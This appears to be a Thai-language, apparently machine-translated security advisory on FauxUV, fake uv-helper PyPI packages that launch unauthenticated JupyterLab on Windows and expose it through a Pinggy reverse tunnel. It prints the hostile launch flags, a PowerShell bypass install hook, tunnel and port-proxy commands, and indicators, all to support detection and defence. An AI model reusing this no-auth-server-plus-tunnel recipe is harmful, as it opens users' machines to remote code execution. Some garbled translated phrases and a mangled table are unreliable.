FauxUV: แพ็กเกจ PyPI uv ปลอม เปิด Jupyter สู่เว็บ

FauxUV: ตัวช่วย UV ปลอมของ PyPI ที่เปิดเซิร์ฟเวอร์ Jupyter ที่ไม่ได้รับอนุญาตให้แก่ผู้ใช้งานอินเทอร์เน็ต

TL; DR

กลุ่มแพ็กเกจ PyPI กลุ่มหนึ่งได้ยืมชื่อของ uvใช้ Rust ซึ่งเป็นตัวจัดการแพ็กเกจ Python ที่รวดเร็วและได้รับความนิยมอย่างมาก เพื่อแสร้งทำเป็นตัวช่วย uv พวกมันแทบไม่มีฟังก์ชันการทำงานจริง ๆ สิ่งที่พวกมันนำมาด้วยคือเพย์โหลดสำหรับ Windows ที่ติดตั้ง... เซิร์ฟเวอร์ JupyterLab ที่ปิดใช้งานการตรวจสอบสิทธิ์ และในเวอร์ชันต่อมา จะเผยแพร่สู่สาธารณะทางอินเทอร์เน็ตผ่านทางอุโมงค์ย้อนกลับ

นั่นคือเรื่องราวทั้งหมดในประโยคเดียว: ใช้ชื่อของเครื่องมือที่น่าเชื่อถือเป็นเหยื่อล่อ และใช้ JupyterLab เป็นเครื่องมือสำหรับการเรียกใช้โค้ดจากระยะไกล เซิร์ฟเวอร์ Jupyter จะรันโค้ดใดๆ ก็ตามที่คุณพิมพ์ลงในช่องป้อนข้อมูลebook เซลล์ที่เปิดใช้งานด้วยโทเค็นว่างเปล่าและผูกกับอินเทอร์เฟซเครือข่ายทุกตัวนั้น เป็นตัวแปลภาษาแบบเปิดที่ใครก็ตามที่สามารถเข้าถึงพอร์ตได้ก็สามารถใช้งานได้

เราติดตามคลัสเตอร์ดังนี้ เอฟเฟคยูวีพัสดุทั้งสองชิ้นที่ตรวจสอบมีดังนี้ moon-uv (0.0.1 – 0.0.16) และ my-magic-uv-helper (0.0.1) เผยแพร่โดยผู้ดำเนินการรายเดียวกันและใช้งานได้บน PyPI ณ เวลาที่ทำการวิเคราะห์

ระบบนิเวศ (Ecosystem)PyPI
แบบรวดเร็วmoon-uv (0.0.1-0.0.16) my-magic-uv-helper (0.0.1)
แพลตฟอร์มเป้าหมายWindows
พฤติกรรมหลักเซิร์ฟเวอร์ JupyterLab ที่ไม่ต้องยืนยันตัวตน เผยแพร่สู่อินเทอร์เน็ตผ่านอุโมงค์ย้อนกลับ
เครื่องมือที่ถูกต้องถูกนำไปใช้ในทางที่ผิดuv, JupyterLab, cloudflared, Pinggy

สิ่งดึงดูดใจ: ชื่อที่คุณไว้วางใจอยู่แล้ว

uv เป็นหนึ่งในเครื่องมือ Python ที่มีการติดตั้งมากที่สุดในช่วงสองปีที่ผ่านมา ดังนั้น “ตัวช่วยสำหรับ” uv“เป็นแพ็กเกจที่นักพัฒนาติดตั้งโดยไม่ต้องคิดอะไรมาก FauxUV อาศัยความน่าเชื่อถือจากชื่อนั้นเพียงอย่างเดียว แพ็กเกจเหล่านี้ห่อหุ้ม... แท้ uv โปรแกรมติดตั้งจาก Astral — URL ในไฟล์แนบชี้ไปยังโฮสต์จริงที่น่าเชื่อถือ — ดังนั้นเมื่อดูอย่างรวดเร็วจะเห็นแต่ข้อมูลอ้างอิงที่น่าเชื่อถือเท่านั้น ไม่มีแพ็กเกจใดเพิ่มอะไรลงไปจริง ๆ uv ฟังก์ชันการทำงาน ชื่อนี้เป็นเพียงการปลอมแปลงทั้งหมด

JupyterLab ในฐานะเครื่องมือ RCE

หัวใจหลักของแพ็กเกจนี้คือตัวเรียกใช้งานที่จะเริ่มต้น JupyterLab โดยลบข้อจำกัดต่างๆ ออกไปทั้งหมด:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

ธงแต่ละอันจะลบการป้องกันออกไปหนึ่งอย่าง และสคริปต์ที่ส่งมายังมีการอธิบายเพิ่มเติม (ในภาษาจีนดั้งเดิม): โทเค็นว่างเปล่า “ปิดการตรวจสอบรหัสผ่านและโทเค็น ทำให้ใครๆ ก็สามารถเชื่อมต่อได้” จูปิเตอร์แล็บ เป็น IDE สำหรับวิทยาศาสตร์ข้อมูลที่ถูกต้องตามกฎหมาย แต่ไม่ใช่ebook เซลล์นี้ถูกออกแบบมาให้รันโค้ดตามอำเภอใจ ตั้งค่าและผูกไว้แบบนี้ 0.0.0.0มันจะหยุดเป็น IDE และกลายเป็นเชลล์ระยะไกลที่ไม่ต้องตรวจสอบสิทธิ์บนโฮสต์ — ไม่จำเป็นต้องใช้ไบนารีมัลแวร์แบบกำหนดเอง เพียงแค่ใช้เครื่องมือหลักที่ชี้ไปในทิศทางที่ผิด

องค์ประกอบสนับสนุนสองประการทำให้สิ่งนี้สามารถทำได้และทำซ้ำได้:

  • ตัวกระตุ้นการติดตั้งแบบเงียบๆ เวอร์ชันแรกๆ ใช้ PowerShell กับ -ExecutionPolicy Bypass ส่งตรงจาก setup.py on pip ติดตั้งในพื้นหลังที่มีการระงับข้อผิดพลาดไว้ จุดเล็ก ๆ ดูปกติ เวอร์ชันต่อมาได้ย้ายองค์ประกอบพื้นฐานเดียวกันนั้นไปไว้ใน pip-uv ใช้เครื่องมือบรรทัดคำสั่ง — และยกเลิกการเรียกใช้งานอัตโนมัติในระหว่างการติดตั้งโดยสิ้นเชิง
  • อุโมงค์ย้อนกลับสาธารณะ เซิร์ฟเวอร์บน 0.0.0.0 ยังคงสามารถเข้าถึงได้โดยโฮสต์ที่สามารถกำหนดเส้นทางไปยังเครื่องได้ โมดูลที่รวมมาจะเปิด [Pinggy](https://pinggy.io/) อุโมงค์ SSH ย้อนกลับที่ส่งต่อพอร์ต Jupyter ในเครื่องไปยังที่อยู่สาธารณะ ซึ่งช่วยขจัดข้อจำกัดนั้น สคริปต์ที่ให้มายังมีเส้นทางทางเลือกอีกเส้นทางหนึ่งที่ใช้ Cloudflare (แต่ถูกคอมเมนต์ไว้) เมฆแฟลร์ และ netsh การใช้ port-proxy เพื่อส่งต่อไปยัง IP ของ Linode เป็นการแสดงให้เห็นถึงเป้าหมายเดียวกันผ่านโครงสร้างพื้นฐานที่แตกต่างกัน

กล่าวโดยสรุป: เมื่อติดตั้งแพ็กเกจแล้ว ระบบ Windows ก็จะสามารถใช้งาน JupyterLab โดยไม่ต้องใช้รหัสผ่าน และเผยแพร่สู่สาธารณะทางอินเทอร์เน็ตได้

วิวัฒนาการของ FauxUV

เวอร์ชันต่างๆ ของ FauxUV ถูกจัดส่งออกมาอย่างรวดเร็ว และจุดเริ่มต้นของการแจ้งเตือนก็เปลี่ยนไปตามแต่ละเวอร์ชัน ซึ่งเป็นการย้ำเตือนว่าเวอร์ชันที่ถูกแจ้งเตือนเพียงเวอร์ชันเดียวนั้นไม่สามารถบอกเรื่องราวทั้งหมดของสายการผลิตบรรจุภัณฑ์ได้

ระยะ รุ่น ทริกเกอร์ สิ่งที่มันเพิ่ม
ตะขอติดตั้ง moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py ติดตั้งด้วย pip ติดตั้ง uv + เพิ่ม PATH
รันไทม์ CLI moon-uv 0.0.5 0.0.13- pip-uv คำสั่ง ตัวเรียกใช้งาน JupyterLab แบบไม่ต้องใช้รหัสผ่าน
อุโมงค์ moon-uv 0.0.14 0.0.16- pip-uv คำสั่ง อุโมงค์ย้อนกลับ Pinggy ที่ใช้งานอยู่

ที่น่าสังเกตคือ การเรียกใช้งานอัตโนมัติระหว่างการติดตั้งนั้น ลบออก ในเวอร์ชันที่ใหม่กว่าและมีประสิทธิภาพมากกว่า — ดังนั้นเครื่องสแกนจึงทำงานโดยคำนึงถึงวงจรชีวิตเป็นหลัก hooks จะให้คะแนนผลงานที่ออกใหม่ดังนี้ น้อยลง เสี่ยงมาก ผิดวิธีอย่างสิ้นเชิง

ตัวชี้วัดของการประนีประนอม

ยืนยันโดยการอ่านซอร์สโค้ดของแพ็กเกจแล้ว; ทำเครื่องหมายเอนด์พอยต์ไว้แล้ว แสดงความคิดเห็น มีอยู่ในไฟล์แต่ไม่ได้ถูกเรียกใช้งานโดยเวอร์ชันที่วิเคราะห์ ตัวบ่งชี้เครือข่ายถูกปิดใช้งาน

ประเภท ตัวบ่งชี้
คำสั่งติดตั้ง powershell -ExecutionPolicy Bypass ดึงตัวติดตั้ง uv ของแท้ ในระหว่างการติดตั้ง pip
ธง JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
อุโมงค์ย้อนกลับ (ใช้งานอยู่) free[.]pinggy[.]io:443 การส่งต่อในท้องถิ่น 127.0.0.1:8888
โฮสต์อุโมงค์ (แสดงความคิดเห็น) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (มีคำอธิบาย) 45[.]79[.]134[.]161 (Linode) ผ่านทาง netsh port-proxy
การติดตา เติมหน้า %USERPROFILE%\.local\bin ไปยัง PATH ของผู้ใช้

สัญญาณพฤติกรรมที่ควรให้ความสนใจ โดยไม่ขึ้นอยู่กับข้อความเหล่านี้โดยเฉพาะ: ก. pip ติดตั้ง ที่ก่อให้เกิด powershell -ExecutionPolicy Bypass; ใด ๆ จูปิเตอร์ เปิดตัวแบบผสมผสาน โทเค็น=”” สีสดสวย –ip=0.0.0.0และส่งออก SSH ไปยัง *.pinggy.io จากนักพัฒนาหรือเครื่อง CI

พฤติกรรมที่สังเกตได้และที่มา

แพ็กเกจทั้งสองมีผู้เขียนและวิธีการเดียวกัน ได้แก่ การใช้ชื่อเครื่องมือที่น่าเชื่อถือ การจำกัดการเข้าถึงเฉพาะระบบ Windows การทำงานเบื้องหลังโดยไม่แสดงข้อผิดพลาด และการพึ่งพาเครื่องมือที่มีชื่อเสียง ดังนั้นเมื่อดูอย่างรวดเร็วจะเห็นเฉพาะ URL ที่น่าเชื่อถือเท่านั้น ซอร์สโค้ดมีคำอธิบายเป็นภาษาจีนที่อธิบายถึงแฟล็กที่เกี่ยวข้องกับความปลอดภัยอย่างชัดเจน เราจึงรายงานสิ่งเหล่านั้นในฐานะข้อความที่สังเกตได้ในไฟล์ ไม่ใช่การกล่าวอ้างเกี่ยวกับแรงจูงใจ อนุญาตต้นกำเนิด คุณค่าและ โคแล็บแบต ชื่อไฟล์สะท้อนถึงเวิร์กโฟลว์แบบไม่เป็นทางการ "แชร์รันไทม์ในเครื่องของฉัน" ที่แพร่หลายใน Google Colab ไม่ว่าจะมีที่มาอย่างไร ผลลัพธ์ที่ได้ก็เหมือนกัน

ผลกระทบและคำแนะนำสำหรับผู้พิทักษ์

ใครบ้างที่ได้รับผลกระทบจากรังสี UV เทียม? นักพัฒนา Windows และผู้รัน CI ที่ pip ติดตั้ง หนึ่งในแพ็กเกจเหล่านี้ JupyterLab ที่ไม่ต้องใช้รหัสผ่านบน 0.0.0.0 การเรียกใช้โค้ดจากระยะไกลนั้นสามารถทำได้โดยใครก็ตามที่สามารถเข้าถึงพอร์ตได้ แต่การใช้ท่อส่งข้อมูลจะช่วยขจัดข้อจำกัดเรื่อง "ใครสามารถเข้าถึงได้" เซิร์ฟเวอร์จะทำงานในฐานะผู้ใช้ที่ทำการติดตั้ง โดยจะสืบทอดไฟล์ โทเค็น และข้อมูลรับรองระบบคลาวด์จากผู้ใช้นั้น

ทำไมจึงมองข้ามได้ง่าย ทุกสตริงเครือข่ายชี้ไปยังโฮสต์ที่น่าเชื่อถือ เช่น Astral, JupyterLab เมฆแฟลร์Pinggy, Colab ไม่มีไบนารีมัลแวร์ให้แฮช และไม่มีบล็อบที่ถูกเข้ารหัสให้ถอดรหัส การสแกนตามชื่อเสียงและตามลายเซ็นต่างก็ให้น้ำหนักกับสิ่งนี้น้อยเกินไป ซึ่งเป็นเหตุผลว่าทำไมคำถามเกี่ยวกับพฤติกรรมจึง — การติดตั้งแพ็กเกจนี้จะทำให้เครื่องทำงานอย่างไร — คือคนที่จับมันได้

คำแนะนำ:

  • จัดการเวลาในการติดตั้งใดๆ powershell -ExecutionPolicy Bypass ถือเป็นสัญญาณที่ทำให้การสร้างโปรแกรมล้มเหลว ไม่ว่า URL นั้นจะดึงข้อมูลมาจากที่ใดก็ตาม
  • แจ้งเตือนเมื่อ จูปิเตอร์ เปิดใช้งานด้วยโทเค็นว่างเปล่าและ –ip=0.0.0.0; ไม่ควรมีการใช้งานชุดคำสั่งดังกล่าวบนเวิร์กสเตชันหรือเครื่องรันเนอร์เลย
  • ตรวจสอบการส่งออก SSH ไปยังผู้ให้บริการอุโมงค์ (*.pinggy.io, *.trycloudflare.com) จากสภาพแวดล้อมการพัฒนาและ CI
  • การติดตั้ง uv จาก [แหล่งข้อมูลอย่างเป็นทางการ](https://docs.astral.sh/uv/และควรระมัดระวังแพ็กเกจ "ตัวช่วย" จากภายนอกที่นำเครื่องมือที่ติดตั้งได้ง่ายอยู่แล้วมาครอบทับไว้
  • กำหนดและตรวจสอบความสัมพันธ์ระหว่างการอัปเกรดอีกครั้ง — แพ็กเกจหนึ่งๆ สามารถเพิ่มความสามารถใหม่ๆ ได้ในแต่ละเวอร์ชัน
sca-tools-software-composition-analysis-tools
จัดลำดับความสำคัญ แก้ไข และรักษาความปลอดภัยความเสี่ยงด้านซอฟต์แวร์ของคุณ
สมัครบัญชีฟรีได้เลย
ไม่ต้องใช้บัตรเครดิต

รักษาความปลอดภัยให้กับการพัฒนาและส่งมอบซอฟต์แวร์ของคุณ

ด้วยชุดผลิตภัณฑ์ Xygeni